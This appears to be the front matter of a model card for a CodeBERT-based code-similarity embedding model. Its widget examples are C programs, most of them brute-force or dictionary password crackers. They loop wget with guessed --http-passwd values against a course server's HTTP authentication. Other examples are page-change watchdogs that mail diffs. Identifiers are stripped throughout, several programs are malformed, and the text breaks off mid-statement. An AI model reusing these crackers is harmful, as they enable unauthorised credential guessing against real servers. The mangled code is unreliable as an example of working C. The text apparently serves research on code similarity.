--- tags: - sentence-transformers - sentence-similarity - feature-extraction - dense - generated_from_trainer - dataset_size:3081 - loss:BatchAllTripletLoss base_model: microsoft/codebert-base widget: - source_sentence: "#include \n#include \n#include \n\ #include \n\n#include \n#include \n#include \n\ #include \n#include \n#include \n#include \n\ #define ant 1e9\n\nint ()\n{\nchar c[2],[3][2];\nregister int i,j,k,x,y,z,t,r,s,final,count=0;\n\ int starttime,endtime,totaltime; \nchar ch[5],ch1[5],ch2[5],s1[100],s2[100];\n\ c[0]='A',c[1]='a';\n[0][1]=[1][1]=[2][1]='\\0';\n\nstrcpy(s1, \"wget --http-user=\ \ --http-passwd=\");\n strcpy(s2, \" http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n\nstarttime=time();\n\nfor(r=0;r<=1;r++)\n{\n\t\n\tfor(i=c[r],x=0;x<=25;x++,i++)\n\ \t{\n\t\t\n\t\t [0][0]=i;\n\t\t strcpy(ch,[0]);\n\n\n\t\tfor(s=0;s<=1;s++)\n\t\ \t{\n\t\t\tfor(j=c[s],z=0;z<=25;z++,j++)\n\t\t\t{\t\n\t\t\n\t\t\t\t[1][0]=j;\n\ \t\t\t\tstrcpy(ch1,[0]);\n\t\t\t\tstrcat(ch1,[1]);\n\n\t\t\t\tfor(t=0;t<=1;t++)\n\ \t\t\t\t{\n\t\t\t\t\tfor(k=c[t],y=0;y<=25;y++,k++)\n\t\t\t\t\t{\tcount++;\n\t\t\ \t\t\t\t[2][0]=k;\n\t\t\t\t\t\tstrcpy(ch2,ch1);\n\t\t\t\t\t\tstrcat(ch2,[2]);\n\ \t\t\t\t\t\tprintf(\"\\n %s\",ch2);\n\n\n\n strcat(s1, ch2);\n \ \ strcat(s1, s2);\n\t printf(\"\\n combination sent %s\\n\", s1);\n \ \ final = system(s1);\n if (final == 0)\n {\n \ \ endtime=time();\n\t\ttotaltime=(endtime-starttime);\n\t\t printf(\"count %d\"\ ,count);\n\t printf(\"totaltime %1f\",(double)totaltime/ant);\n\t printf(\"\ \\nsuccess %s\\n\",ch2);\n exit(1);\n }\n\n\n\t strcpy(s1,\ \ \"\");\n\t strcpy(s1, \"wget --http-user= --http-passwd=\");\n\n\n\t\t\t\t\ }\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t }\n}\n\n}\n\n\n\n" sentences: - "\n\n\n\n#include \n#include \n#include \n#include\ \ \n#include \n#include \n#include \n\ #include \n#include \n#include \n#include\ \ \n#include \n#include \n\n#define BUFFER_SIZE\ \ 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define\ \ FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define\ \ STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\n\ char *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in\ \ serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\n\ void printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint\ \ openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char\ \ *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const\ \ unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char\ \ *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n\ {\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt =\ \ 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host,\ \ &filename);\n\n initialiseConnection();\n = openConnection();\n\n \ \ \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password,\ \ 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n \ \ printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n\ }\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static\ \ const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ ;\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n \ \ currLength++;\n\n for (i=0; ih_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\ \t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n\ \ {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host,\ \ errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const\ \ unsigned char *input, unsigned char *output)\n{\n static const char *codes\ \ = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\ ;\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int\ \ a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *)\ \ input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull;\ \ i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0]\ \ & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2)\ \ + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input +=\ \ 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n \ \ b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a\ \ >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1\ \ < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n \ \ }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n\ {\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message,\ \ \"The specified host is unknown\");\n break;\n\n NO_DATA:\n\ \ strcpy(message, \"The specified host name is valid, but does not\ \ have address\");\n break;\n\n NO_RECOVERY:\n \ \ strcpy(message, \"A non-recoverable name server error occurred\");\n \ \ break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary\ \ error occurred authoritative name server. Try again later.\");\n \ \ break;\n\n default:\n strcpy(message, \" unknown name\ \ server error occurred.\");\n }\n}\n\n" - "# include \n# include \n# include \n\n\nint ()\n\ {\n\t\n\tFILE* fpp;\t\t\t\t\t\t\t\t\t\t\n\tFILE* fp;\n\t\t\t\n\tchar s[100];\n\ \tint i;\n\t\n\twhile(1)\t\t\t\t\t\t\t\t\t\t\n\t{\n\t\tsystem(\"wget -nv http://www.cs.rmit.edu./students\"\ );\t\t\t\t\n\t\t\n\t\ti=0;\t\t\n\t\t\n\t\tfp = fopen(\"dummyindex.txt\",\"r\"\ );\n\t\t\n\t\tif(fp == (FILE*) NULL)\t\t\t\t\t\t\t\t\n\t\t{\n\t\t\tprintf(\" is\ \ previously saved webpage in the file\\n\");\n\t\t\ti=1;\n\t\t\tfp = fopen(\"\ dummyindex.txt\",\"w\");\n\n\t\t}\n\t\t\t\t\n\t\tfclose(fp);\n\t\t\n\t\t\t\t\n\ \t\t\n\t\t\n\t\t\n\t\tsystem(\"diff index.html dummyindex.txt > compareoutput.txt\"\ );\t\t\n\n\t\t\t\t\n\t\tif(fpp != (FILE*) NULL)\t\n\t\t{\n\t\t\t\n\t\t\tfpp =\ \ fopen(\"compareoutput.txt\",\"r\");\t\t\t\t\t\n\t\t\t\n\t\t\tfgets(s,100,fpp);\t\ \t\t\t\t\t\t\n\t\t\t\n\t\t\tfclose(fpp);\t\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t \n\ \t\t\tif((strlen(s)>0) && i==0)\t\t\t\t\t\t\t\t\n\t\t\t{\n\t\t\t\tsystem(\"mail\ \ @cs.rmit.edu. < compareoutput.txt\");\t\n\t\t\t\tsystem(\"cp index.html dummyindex.txt\"\ );\t\t\t\t\n\t\t\t\tprintf(\"Message has been sent\\n\");\t\t\t\t\n\t\t\t}\n\t\ \t\telse\n\t\t\t\tprintf(\" is change in the \\n\");\t\t\t\n\t\t}\n\t\t\n\t\t\ \n\n\t\tsystem(\"rm index.html\")\t;\t\t\t\t\n\t\t\n\t\tsleep(86400);\t\t\t\t\t\ \t\t\t\t\n\t}\n\t\t\t\t\n\treturn 1;\n}\n" - "#include\n#include\n#include\n#include\n\ #include \n#define OneBillion 1e9\n\nint ()\n{ int startTime, stopTime,\ \ final;\n int i,j,k;\n FILE* fp;\n int pass,len;\n int count = 0;\n\ \ char [50];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\ \ fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n while (fp !='\\0')\n\ \ {\n fgets( ,50,fp);\n\n len = strlen();\n [strlen()-1]\ \ ='\\0';\n\n if(len <= 4)\n {\n count++;\n\t printf(\"\ Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\"\ );\n\t strcat(url1,);\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/\ \ \");\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass\ \ == 0)\n\t {\n\t stopTime = time();\n final = stopTime-startTime;\n\ \t printf(\"\\n SUCCESS\\n\");\n\t printf(\"The password for the user\ \ : %s\\n \",);\n\t printf(\"Found the password in %lld nanoseconds (%1f\ \ seconds) \\n\",final,(double)final/OneBillion);\n\t printf(\"Number of\ \ attempts : %d\\n\",count);\n exit(1);\n\t }\n }\n }\n\n\ \ }\n" - source_sentence: "\n\n#include\n#include\n#include \n\ #include \n#include \n#include\nint ()\n{\nchar\ \ a[100];\nint count=0;\nchar ch;\nchar line[100];\nchar filename[50];\nchar *token;\n\ const char delimiter[]=\" \\n.,;:!-\";\nFILE *fp;\nint total_time,start_time,end_time;\n\ start_time = time();\nstrcpy(filename,\"/usr/share/lib/dict/words\");\nif((fp=fopen(filename,\"\ r\"))==NULL){\nprintf(\"cannot open file\\n\");\nexit(1);\n}\nwhile((fgets(line,sizeof(line),fp))!=NULL)\n\ {\n token=strtok(line,delimiter); \n while(token!=NULL)\n \ \ {\n count++;\n\t printf(\"ATTEMPT : %d\\n\",count);\n\ strcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\"\ );\n strcat(a,token); \n printf(\"\ The request %s\\n\",a); \n if(system(a)==0)\n\t\t{\n\t\tprintf(\"\ Congratulations!!!Password obtained using DICTIONARY ATTACK\\n\");\n\t\tprintf(\"\ ************************************************************\\n\");\n\t\tprintf(\"\ Your password is %s\\n\",token);\n\t\tprintf(\"The Request sent is %s \\n\",a);\n\ \ end_time = time();\n total_time = (end_time -start_time);\n\ \ total_time /= 1000000000.0;\n printf(\"The Time\ \ Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\n \n\ \ token=strtok(NULL,delimiter);\n \n \ \ }\n}\n\n\nfclose(fp);\nreturn 0;\n}\n" sentences: - "#include \n#include \n#include \n#include \n\ \t\t\t\t \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\ \n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\ #define MAX_CHAR_SET 52\n\n#define TRUE 1\n#define FALSE 0\n\n\n\n\n\n\n\n\ntypedef\ \ int (*CrackFuncPtr)(const char*, const char*);\n\nint runBruteForce(const char\ \ chSet[], int numOfCh, int len, CrackFuncPtr func);\nchar* initPasswdStr(int\ \ len, char ch);\nint getChPos(const char chSet[], int numOfCh, char ch);\nint\ \ pow(int x, int y);\nint crackHTTPAuth(const char *username, const char *passwd);\n\ \nint ()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\ \ 'J', 'K',\n\t\t\t\t\t\t\t'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\ \ \n\t\t\t\t\t\t\t'W', 'X', 'Y', 'Z',\n\t\t\t\t\t\t\t'a', 'b', 'c', 'd', 'e',\ \ 'f', 'g', 'h', 'i', 'j', 'k',\n\t\t\t\t\t\t\t'l', 'm', 'n', 'o', 'p', 'q', 'r',\ \ 's', 't', 'u', 'v', \n\t\t\t\t\t\t\t'w', 'x', 'y', 'z'};\n\t\n\tchar charSetS[]\ \ = {'A', 'B', 'C'};\n\n\tint i; \n\t\n\tfor (i=1; i<=MAX_PASSWD_LEN; i++)\n\t\ {\n\t\tif (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))\n\t\t{\n\t\t\ \treturn 0;\n\t\t}\n\t}\n\n\tprintf(\"\\n...password not found\\n\");\t\t\t\t\t\ \t\t \t\n\treturn 0;\n}\n\nint runBruteForce(const char chSet[], int numOfCh,\ \ int len, CrackFuncPtr func)\n{\n\tint iter; \n\tint chIter; \n\tint curPos =\ \ 0; \n\t\n\tchar *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len,\ \ chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\n\tfor\ \ (iter=0; iter=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh, chIter) == 0) \n\t\ \t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\t\t\t\tstr[chIter]\ \ = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh, (chIter+1)) ==\ \ 0) \n\t\t\t{\n\t\t\t\tstr[chIter] = chSet[0];\n\t\t\t}\n\t\t}\n\t\t\n\t\tif\ \ (func(USERNAME, str))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\", str);\n\ \t\t\tpasswdFound = TRUE;\n\t\t}\n\n\t\t\n\t\tprintf(\".\");\n\t\t\t\t\t\n\t}\n\ \n\t(str);\n\tstr = NULL;\n\n\treturn passwdFound;\n}\n\nint getChPos(const char\ \ chSet[], int numOfCh, char ch)\n{\n\tint i;\n\t\n\tfor (i=0; i\n#include\n#include\n#include\n\ #include \n#define OneBillion 1e9\n\nint ()\n{ int startTime, stopTime,\ \ final;\n int i,j,k;\n FILE* fp;\n int pass,len;\n int count = 0;\n\ \ char [50];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\ \ fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n while (fp !='\\0')\n\ \ {\n fgets( ,50,fp);\n\n len = strlen();\n [strlen()-1]\ \ ='\\0';\n\n if(len <= 4)\n {\n count++;\n\t printf(\"\ Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\"\ );\n\t strcat(url1,);\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/\ \ \");\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass\ \ == 0)\n\t {\n\t stopTime = time();\n final = stopTime-startTime;\n\ \t printf(\"\\n SUCCESS\\n\");\n\t printf(\"The password for the user\ \ : %s\\n \",);\n\t printf(\"Found the password in %lld nanoseconds (%1f\ \ seconds) \\n\",final,(double)final/OneBillion);\n\t printf(\"Number of\ \ attempts : %d\\n\",count);\n exit(1);\n\t }\n }\n }\n\n\ \ }\n" - "#include\n#include\n#include \n#include \n\ #include \n\nint ()\n{\n char lc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ ;\n char uc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n char\ \ gc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n int a=0,b=0,c=0,d,e,count=0;\n\ \ char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];\n\ \ char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;\n \n int ,end,t;\n =\ \ time(); \nwhile(sizeof(lc)!=52)\n{\n temp2[0]=lc[d];\n temp2[1]='\\\ 0';\n d=d+1;\n strcpy(p,temp2);\n \n while(sizeof(uc)!=52)\n {\n\ \ temp3[0]=uc[b];\n temp3[1]='\\0';\n b=b+1;\n strcpy(q,p);\n\ \ strcat(q,temp3);\n for(e=0;e<52;e++)\n {\n temp1[0]=gc[e];\n\ \ttemp1[1]='\\0';\n\tstrcpy(r,q);\n\tstrcat(r,temp1);\n strcpy(mx,\"wget\ \ http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=\");\n \ \ strcat(mx,r);\n printf(\"temp3=%s\\n\",mx);\n if(system(mx)==0)\n\ \ { \n printf(\"Password=%s\\n\",mx);\n\t printf(\"%d \\n\",count);\n\ \t end = time();\n t = (end -);\n t /= 1000000000.0;\n \ \ printf(\"The total time_var taken is:%llds\\n\",t);\n\t exit(1);\n \n\ \ }\n }\n }\n }\n return 0;\n}\n" - source_sentence: "\n\n\n\n\n\n\n\n\n\n\n\n#include\n#include\n\ #include\n#include\n#include\n#include\n\ #include\n\nint ()\n{\n char url[80];\n char syscom[]= \"wget -nv\ \ --http-user= --http-passwd=\";\n char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ ;\n char [] =\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n char\ \ username[8];\n char pass[4];\n int i,j,k,hack=1;\n int attempt = 1;\n int\ \ , end, time_var;\n\n = time();\n for ( i = 0 ;i\n#include\n#include\n#include\n\ #include\n\n()\n{\n\tint i,m,k,count=0;\n\tFILE* diction;\n\tFILE*\ \ log;\n\tchar s[30];\n\tchar pic[30];\n\tchar add[1000];\n\tchar end[100];\n\t\ time_t ,finish;\n\tdouble ttime;\n\t\n\tstrcpy(add,\"wget --http-user= --http-passwd=\"\ );\n\tstrcpy( end,\"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/\");\n\tdiction=fopen(\"\ /usr/share/lib/dict/words\",\"r\");\n\t=time(NULL);\n\twhile(fgets(s,100,diction)!=NULL)\t\ \n\t{\t\n\t\tprintf(\"%s\\n\",s);\n\t\tfor(m=40,k=0;k<(strlen(s)-1);k++,m++)\n\ \t\t{\n\t\t\tadd[m]=s[k];\n\t\t}\n\t\tadd[m++]=' ';\n\t\tfor(i=0;i<50;i++,m++)\n\ \t\t{\n\t\t\tadd[m]=end[i];\n\t\t}\n\t\tadd[m]='\\0';\n\t\t\n\t\tsystem(add);\n\ \t\tcount++;\n\t\tlog=fopen(\"logd\",\"r\");\n\t\tfgets(pic,100,log);\n\t\tprintf(\"\ %s\",pic);\n\t\tif(strcmp(pic,\"Authorization failed.\\n\")!=0)\t\n\t\t{\n\t\t\ \tfinish=time(NULL);\n\t\t\tttime=difftime(,finish);\n\t\t\tprintf( \"\\n The\ \ time_var take:%f/n The of passwords tried is %d\\n\",ttime,count);\n\t\t\t\ break;\n\t\t}\n\t\tfclose(log);\n\t}\n\n}\n" - "#include\n#include\n#include\n#include\n\ \n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n int i, cnt, flag;\n\ \ char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \ \ char fin;\n \n strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n strcpy(string2,\" --http-user= --http-passwd='\");\n strcpy(,\"\");\n\ \n while ((fin = fgetc(fp)) != EOF)\n {\n cnt = 0;\n \n for\ \ (i=0;i\\n\");\n return(EXIT_FAILURE);\n }\n\ \ \n fname = argv[1];\n \n if((fp = fopen(fname, \"r\")) == NULL)\n \ \ {\n fprintf(stderr,\"Error : Failed open %s for . \\n\",fname);\n \ \ return(EXIT_FAILURE);\n }\n \n CrackPasswd(fp);\n \n end = time();\ \ \n printf(\"Time Required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n\ \ \n}\n \n\t \n\t \t\n" - "#include\n#include\n#include \n#include \n\ #include \n\nint ()\n{\n FILE *fh,*fp,*fp1,*d;\n char\n [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];\n\ \ sleep(60*60*24);\n system(\"wget http://www.cs.rmit.edu./students\");\n if(system==0)\n\ \ {\n printf(\"File stored\");\n }\n strcpy(filename,\"index.html\"); \n\ \ if((fh=fopen(filename,\"r\"))==NULL)\n {\n printf(\"cannot open file\\n\"\ );\n exit(1);\n }\n fp=fopen(\"index.txt\",\"r\");\n fp1=fopen(\"index1.txt\"\ ,\"r\");\n \n while((fgets(PassString,sizeof(PassString),fh))!= NULL)\n {\n\ \ fread(p,sizeof(PassString),sizeof(PassString),fh);\n printf(\" contents\ \ %s\\n\",p);\n while((f1!=EOF) || (f2!=EOF))\n {\n f1=getc(fp);\n \ \ f2=getc(fp1);\n if(f1 Diff.txt\")==0)\n\ \ {\n d=fopen(\"Diff.txt\",\"r\");\n if((fgets(,sizeof(),d))!=NULL)\n\ \ {\n printf(\"The difference between exist\");\n\tsystem(\"Mail\ \ \\r\\n Difference\");\n }\n \n }\n }\n return 0;\n }\n" - source_sentence: "#include\n#include\n#include\n#include\n\ \n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n int i, cnt, flag;\n\ \ char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \ \ char fin;\n \n strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n strcpy(string2,\" --http-user= --http-passwd='\");\n strcpy(,\"\");\n\ \n while ((fin = fgetc(fp)) != EOF)\n {\n cnt = 0;\n \n for\ \ (i=0;i\\n\");\n return(EXIT_FAILURE);\n }\n\ \ \n fname = argv[1];\n \n if((fp = fopen(fname, \"r\")) == NULL)\n \ \ {\n fprintf(stderr,\"Error : Failed open %s for . \\n\",fname);\n \ \ return(EXIT_FAILURE);\n }\n \n CrackPasswd(fp);\n \n end = time();\ \ \n printf(\"Time Required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n\ \ \n}\n \n\t \n\t \t\n" sentences: - "#include \n#include \n#include \n#include \n\ #include \n\nint ()\n{\n FILE *fp; \n char *chk,[4];\n int i=1;\n\ \ while (i == 1) \n {\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\ );\n\n system(\"mkdir first\"); \n system(\"mkdir second\"); \n\n \n system(\"\ mv www.cs.rmit.edu./images/*.* first/\");\n system(\"mv www.cs.rmit.edu./students/*.*\ \ first/\");\n\n sleep(86400); \n\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\ );\n\n \n system(\"mv www.cs.rmit.edu./images/*.* second/\");\n system(\"mv\ \ www.cs.rmit.edu./students/*.* second/\");\n\n \n \n system(\"diff first second\ \ > imagesdifference.txt\");\n\n \n fp = fopen(\"imagesdifference.txt\",\"r\"\ );\n \n chk = fgets(, 4, fp);\n \n if (strlen() != 0)\n system(\"mailx\ \ -s \\\"Difference from WatchDog\\\" < imagesdifference.txt\");\n }\n return\ \ 0;\n}\n" - "\n\n\n \n\n#include \n#include \n#include \n#include\ \ \n#include \n#include \n#include \t\ \t\t \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\ \n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\ #define MAX_CHAR_SET 52\n#define NUM_OF_PROCESSES 4\n\n#define TRUE 1\n#define\ \ FALSE 0\n\n\n\n\n\n\n\n\n\n\ntypedef int (*CrackFuncPtr)(const char*, const\ \ char*, int);\n\n\nint pwdFound;\nint cDie;\n\n\nint runBruteForce(const char\ \ chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int\ \ eCh, int id);\nchar* initPasswdStr(int len, char ch, char headOfChSet);\nint\ \ getChPos(const char chSet[], int numOfCh, char ch);\nint pow(int x, int y);\n\ int crackHTTPAuth(const char *username, const char *passwd, int id);\nint myFork(const\ \ char chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t, int sCh, int\ \ eCh);\n\n\n\n\n\nvoid passwdFoundHandler(int signum)\n{\n\tpwdFound = TRUE;\n\ }\n\n\n\nvoid childFinishHandler(int signum)\n{\n\tcDie++;\t\n}\n\n\n\n\n\nint\ \ main()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\ \ 'J', 'K', \n 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',\ \ 'U', 'V', \n\t\t\t\t\t 'W', 'X', 'Y', 'Z',\t\n\t\t\t\t\t 'a', 'b', 'c', 'd',\ \ 'e', 'f', 'g', 'h', 'i', 'j', 'k',\t\n\t\t\t\t\t 'l', 'm', 'n', 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v', \n\t\t\t\t\t 'w', 'x', 'y', 'z'};\n\t\n\n\tint i;\t\ \n\tint pid[NUM_OF_PROCESSES];\n\n\tpwdFound = FALSE;\n\tcDie = 0;\n\t\n\tfor\ \ (i=0; i= NUM_OF_PROCESSES)\n\t\t{\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\ \n\t}\n\treturn EXIT_SUCCESS;\n}\n\n\n\nint myFork(const char chSet[], int numOfCh,\ \ int len, CrackFuncPtr func,\n\t\t\t\tint sCh, int eCh)\n{\n\tint i;\n\t\n\t\ int pid = fork();\n\n\tif (pid == 0)\n\t{\n\t\tfor (i=1; i<=len; i++)\n\t\t{\n\ \t\t\tif (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))\n\t\t\t\ {\t\n\t\t\t\t\n \t\t\t\tif (!kill(getppid(), SIGUSR1))\n\t\t\t\t{\n\t\t\t\t\t\ printf(\"Process %d found the password and notified the parent process already\"\ , \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t\t\t}\n\n\t\t\t\texit(EXIT_SUCCESS);\n\ \t\t\t}\n\t\t}\n\n\t\t\n\t\tif (!kill(getppid(), SIGUSR2))\n\t\t{\n\t\t\tprintf(\"\ Process %d could not found the password and notified the parent process already\"\ , \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t}\n\t\t\n\t\texit(EXIT_SUCCESS);\n\t\ }\n\telse if (pid > 0)\n\t{\n\t\treturn pid;\n\t}\n\telse\n\t{\n\t\tprintf(\"\ error\\n\");\n\t\texit(EXIT_FAILURE);\n\t}\n}\n\n\n\nint runBruteForce(const char\ \ chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int\ \ eCh, int id)\n{\n\tint iter; \n\tint chIter; \n\tint curPos = 0; \n\t\n\tchar\ \ *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len, chSet[sCh],\ \ chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\tfor\ \ (iter=0; (iter=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh,\ \ chIter) == 0) \n\t\t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\ \t\t\t\tstr[chIter] = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh,\ \ (chIter+1)) == 0) \n\t\t\t{\n\t\t\t\tif (chIter == len-1)\n\t\t\t\t{\n\t\t\t\ \t\tstr[chIter] = chSet[sCh];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\ str[chIter] = chSet[0];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (func(USERNAME, str,\ \ id))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\\n\", str);\n\t\t\tpasswdFound\ \ = TRUE;\n\t\t}\t\t\t\n\t}\n\n\t(str);\n\tstr = NULL;\n\t\n\treturn passwdFound;\n\ }\n\n\n\nint getChPos(const char chSet[], int numOfCh, char ch)\n{\n\tint i;\n\ \t\n\tfor (i=0; i\n#include\n#include\n#include\n\ #include \n#include \n#include \n\nint\n()\n{\n\n\ \tint , end;\n\tFILE *fp;\n\tint i, j;\n\tchar \ \ input;\n\tchar password[30];\n\tint check;\n\ \n\tfloat total_time;\n\tint number;\n\t = time();\n\n\n\ \tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error :\ \ Failed open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input\ \ = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i]\ \ = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\ \tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password)\ \ <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck\ \ = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend\ \ = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var\ \ = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\\ n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var %f / %d = %f\\n\", total_time,\ \ number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\ return (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar \ \ url1[255], url2[255], [255];\n\tint rettype;\n\trettype = 0;\n\t\ strcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2,\ \ \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\t\ strcat(, password);\n\tstrcat(, 